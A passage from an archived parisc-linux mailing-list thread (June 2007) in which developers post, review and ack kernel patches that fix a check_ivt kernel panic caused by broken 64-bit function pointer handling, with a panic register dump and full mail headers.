@@ -295,8 +297,7 @@ os_hpmc_6:
 	b .
 	nop
 ENDPROC(os_hpmc)
-
-	/* this label used to compute os_hpmc checksum */
-ENTRY(os_hpmc_end)
+__os_hpmc_end:
+	.export __os_hpmc_end, data 	/* this label used to compute os_hpmc checksum */
 
 	nop
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 0ba1d3d..e8b977a 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -807,8 +807,8 @@ int __init check_ivt(void *iva)
 	u32 *ivap;
 	u32 *hpmcp;
 	u32 length;
-	extern void os_hpmc(void);
-	extern void os_hpmc_end(void);
+	extern const u32 __os_hpmc[];
+	extern const u32 __os_hpmc_end[];
 
 	if (strcmp((char *)iva, "cows can fly"))
 		return -1;
@@ -820,10 +820,10 @@ int __init check_ivt(void *iva)
 
 	/* Compute Checksum for HPMC handler */
 
-	length = (u32)((unsigned long)os_hpmc_end - (unsigned long)os_hpmc);
+	length = __os_hpmc_end - __os_hpmc;
 	ivap[7] = length;
 
-	hpmcp = (u32 *)os_hpmc;
+	hpmcp = (u32 *)__os_hpmc;
 
 	for (i=0; i<length/4; i++)
 	    check += *hpmcp++;
-- 
1.5.1.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PARISC] Fix kernel panic in check_ivt
Date: Mon, 4 Jun 2007 00:04:07 -0600
Lines: 89
Approved: news@gmane.org
Message-ID: <20070604060407.GA3925__10519.7378121831$1416624387$gmane$org@colo.lackof.org>
References: <20070604054954.GA12289@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624387 24463 80.91.229.3 (22 Nov 2014 02:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 06:04:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 04 Jun 2007 08:04:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABC397DE12;
	Mon,  4 Jun 2007 00:04:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16585-06; Mon, 4 Jun 2007 00:04:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AB337DE0E;
	Mon,  4 Jun 2007 00:04:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E63C7DE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 00:04:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16585-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jun 2007 00:04:16 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 59E4D7DDFB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 00:04:16 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 19F35338360;
	Mon,  4 Jun 2007 00:04:15 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02411-04; Mon, 4 Jun 2007 00:04:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BF69A33835E; Mon,  4 Jun 2007 00:04:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070604054954.GA12289@fattire.cabal.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DcIWdd4iODBplbWUfGRMMEw1Ji9SWpIJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24634

On Mon, Jun 04, 2007 at 01:49:54AM -0400, Kyle McMartin wrote:
> From: Kyle McMartin <kyle@parisc-linux.org>
> 
> check_ivt had some seriously broken code wrt function pointers on
> parisc64. Instead of referencing the hpmc code via a function pointer,
> export symbols and reference it as a const array.
> 
> Thanks to jda for pointing out the broken 64-bit func ptr handling.
> 
> Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

This looks good to me...please push to your git tree.
Tested on 32-bit (c3k).

Acked-by: Grant Grundler <grundler@parisc-linux.org>

thanks (jda and kyle),
grant

> ---
>  arch/parisc/kernel/hpmc.S  |    7 ++++---
>  arch/parisc/kernel/traps.c |    8 ++++----
>  2 files changed, 8 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
> index d8baa15..abda491 100644
> --- a/arch/parisc/kernel/hpmc.S
> +++ b/arch/parisc/kernel/hpmc.S
> @@ -79,6 +79,8 @@ END(hpmc_pim_data)
>  	.text
>  
>  	.import intr_save, code
> +	.export __os_hpmc, data
> +__os_hpmc:
>  ENTRY(os_hpmc)
>  
>  	/*
> @@ -295,8 +297,7 @@ os_hpmc_6:
>  	b .
>  	nop
>  ENDPROC(os_hpmc)
> -
> -	/* this label used to compute os_hpmc checksum */
> -ENTRY(os_hpmc_end)
> +__os_hpmc_end:
> +	.export __os_hpmc_end, data 	/* this label used to compute os_hpmc checksum */
>  
>  	nop
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 0ba1d3d..e8b977a 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -807,8 +807,8 @@ int __init check_ivt(void *iva)
>  	u32 *ivap;
>  	u32 *hpmcp;
>  	u32 length;
> -	extern void os_hpmc(void);
> -	extern void os_hpmc_end(void);
> +	extern const u32 __os_hpmc[];
> +	extern const u32 __os_hpmc_end[];
>  
>  	if (strcmp((char *)iva, "cows can fly"))
>  		return -1;
> @@ -820,10 +820,10 @@ int __init check_ivt(void *iva)
>  
>  	/* Compute Checksum for HPMC handler */
>  
> -	length = (u32)((unsigned long)os_hpmc_end - (unsigned long)os_hpmc);
> +	length = __os_hpmc_end - __os_hpmc;
>  	ivap[7] = length;
>  
> -	hpmcp = (u32 *)os_hpmc;
> +	hpmcp = (u32 *)__os_hpmc;
>  
>  	for (i=0; i<length/4; i++)
>  	    check += *hpmcp++;
> -- 
> 1.5.1.3
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PARISC] Fix kernel panic in check_ivt
Date: Mon, 4 Jun 2007 02:23:15 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <20070604062315.GA12848__21925.7360826761$1416624387$gmane$org@fattire.cabal.ca>
References: <20070604054954.GA12289@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624387 24466 80.91.229.3 (22 Nov 2014 02:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 06:23:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 04 Jun 2007 08:23:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA3097DDE6;
	Mon,  4 Jun 2007 00:23:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16812-05; Mon, 4 Jun 2007 00:23:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79A557DDE7;
	Mon,  4 Jun 2007 00:23:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CABFB7DDDE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 00:23:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16812-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jun 2007 00:23:17 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id EB2C87DDD3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 00:23:16 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8CA335840C1;
	Mon,  4 Jun 2007 02:23:16 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E76665840C0;
	Mon,  4 Jun 2007 02:23:15 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 959B523E02; Mon,  4 Jun 2007 02:23:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070604054954.GA12289@fattire.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ucsLC6tWbHIymK3NNjQ0JTYqJihyatBE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24635

On Mon, Jun 04, 2007 at 01:49:54AM -0400, Kyle McMartin wrote:
> From: Kyle McMartin <kyle@parisc-linux.org>
> 
> check_ivt had some seriously broken code wrt function pointers on
> parisc64. Instead of referencing the hpmc code via a function pointer,
> export symbols and reference it as a const array.
> 
> Thanks to jda for pointing out the broken 64-bit func ptr handling.
> 

Better(*) patch below...

[ Well, simpler is better, right? ]

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index d8baa15..43b41df 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -295,8 +295,5 @@ os_hpmc_6:
 	b .
 	nop
 ENDPROC(os_hpmc)
-
-	/* this label used to compute os_hpmc checksum */
-ENTRY(os_hpmc_end)
-
+ENTRY(os_hpmc_end)	/* this label used to compute os_hpmc checksum */
 	nop
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 0ba1d3d..c3ec9f1 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -802,13 +802,14 @@ void handle_interruption(int code, struct pt_regs *regs)
 
 int __init check_ivt(void *iva)
 {
+	extern const u32 os_hpmc[];
+	extern const u32 os_hpmc_end[];
+
 	int i;
 	u32 check = 0;
 	u32 *ivap;
 	u32 *hpmcp;
 	u32 length;
-	extern void os_hpmc(void);
-	extern void os_hpmc_end(void);
 
 	if (strcmp((char *)iva, "cows can fly"))
 		return -1;
@@ -820,7 +821,7 @@ int __init check_ivt(void *iva)
 
 	/* Compute Checksum for HPMC handler */
 
-	length = (u32)((unsigned long)os_hpmc_end - (unsigned long)os_hpmc);
+	length = os_hpmc_end - os_hpmc;
 	ivap[7] = length;
 
 	hpmcp = (u32 *)os_hpmc;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 21:02:24 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <200706040102.l5412OUS022106__3986.59478310055$1416624387$gmane$org@hiauly1.hia.nrc.ca>
References: <20070603195133.GB23062@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624387 24468 80.91.229.3 (22 Nov 2014 02:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:27 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 01:02:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 04 Jun 2007 03:02:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA35A7DDB9;
	Sun,  3 Jun 2007 19:02:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13541-09; Sun, 3 Jun 2007 19:02:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94A3A7DDC1;
	Sun,  3 Jun 2007 19:02:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E411F7DDBF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:02:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13633-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 19:02:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1707B7DDB0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:02:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l5412O1B022107;
	Sun, 3 Jun 2007 21:02:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l5412OUS022106;
	Sun, 3 Jun 2007 21:02:24 -0400 (EDT)
In-Reply-To: <20070603195133.GB23062@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 3, 2007 03:51:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mlZUcfhObGI0haaDYmRnxyVncmZ1ZpxX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24636

> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00001000000001000000011100001110 Not tainted
> > r00-03  000000000804070e 00000000405107c0 000000004051aed4 0000000040103000
> > r04-07  0000000040503fc0 0000000000480000 00000000fffffff0 00000000f040dd30
> > r08-11  0000000000000258 0000000000000001 000000000804000e 0000000040514634
> > r12-15  0000000000000000 0000000000000001 0000000000000001 00000000000225c4
> > r16-19  00000000f0d00b0c 0000000000000000 00000000000f76f8 0000000080000000
> > r20-23  00000000e208b185 000000003ffffd90 0000000040103020 00000000404e5300
> > r24-27  0000000000000000 00000000403c3491 000000004010300d 0000000040503fc0
> > r28-31  00000000e208b185 00000000404c0260 00000000404c0290 000000000fec6fc0
> > sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > 
> > IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004051af34 000000004051af38
> >  IIR: 0e60109c    ISR: 0000000000000000  IOR: 0000000080000000
> >  CPU:        0   CR30: 00000000404c0000 CR31: 00000000404c4000
> >  ORIG_R28: 00000000401385a4
> >  IAOQ[0]: check_ivt+0x84/0xe0
> >  IAOQ[1]: check_ivt+0x88/0xe0
> >  RP(r2): check_ivt+0x24/0xe0
> > Kernel panic - not syncing: Kernel Fault
> > <0>Rebooting in 5 seconds..
> 
> binutils is fucked.

I don't think so.  There's some wierd stuff in check_ivt.  It looks
like the function is trying to see if it can compute a checksum for
the os_hpmc function without causing a panic.  However, the function
pointer stuff is all wrong.  Note that 32 and 64-bit function pointer
handling is completely different.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PARISC] Fix kernel panic in check_ivt
Date: Mon, 4 Jun 2007 06:05:44 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20070604120544.GA23968__47870.7346752801$1416624388$gmane$org@parisc-linux.org>
References: <20070604054954.GA12289@fattire.cabal.ca>
	<20070604062315.GA12848@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624388 24470 80.91.229.3 (22 Nov 2014 02:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 12:05:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 04 Jun 2007 14:05:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29B687DDD8;
	Mon,  4 Jun 2007 06:05:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20794-05; Mon, 4 Jun 2007 06:05:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91F8B7DDDC;
	Mon,  4 Jun 2007 06:05:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D91F57DDD7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 06:05:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20794-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jun 2007 06:05:45 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2BC267DDD4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 06:05:45 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id CA736494003; Mon,  4 Jun 2007 06:05:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070604062315.GA12848@fattire.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Fzlcc6xEbmw7m62HZzdL77FHUzc4cpHY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24637

On Mon, Jun 04, 2007 at 02:23:15AM -0400, Kyle McMartin wrote:
> @@ -802,13 +802,14 @@ void handle_interruption(int code, struct pt_regs *regs)
>  
>  int __init check_ivt(void *iva)
>  {
> +	extern const u32 os_hpmc[];
> +	extern const u32 os_hpmc_end[];

Cute.  If it works, it's cleaner code, so by all means.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 21:10:07 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20070604011007.GA2075__13926.3891418979$1416624388$gmane$org@fattire.cabal.ca>
References: <20070603195133.GB23062@fattire.cabal.ca>
	<200706040102.l5412OUS022106@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624388 24474 80.91.229.3 (22 Nov 2014 02:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:28 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
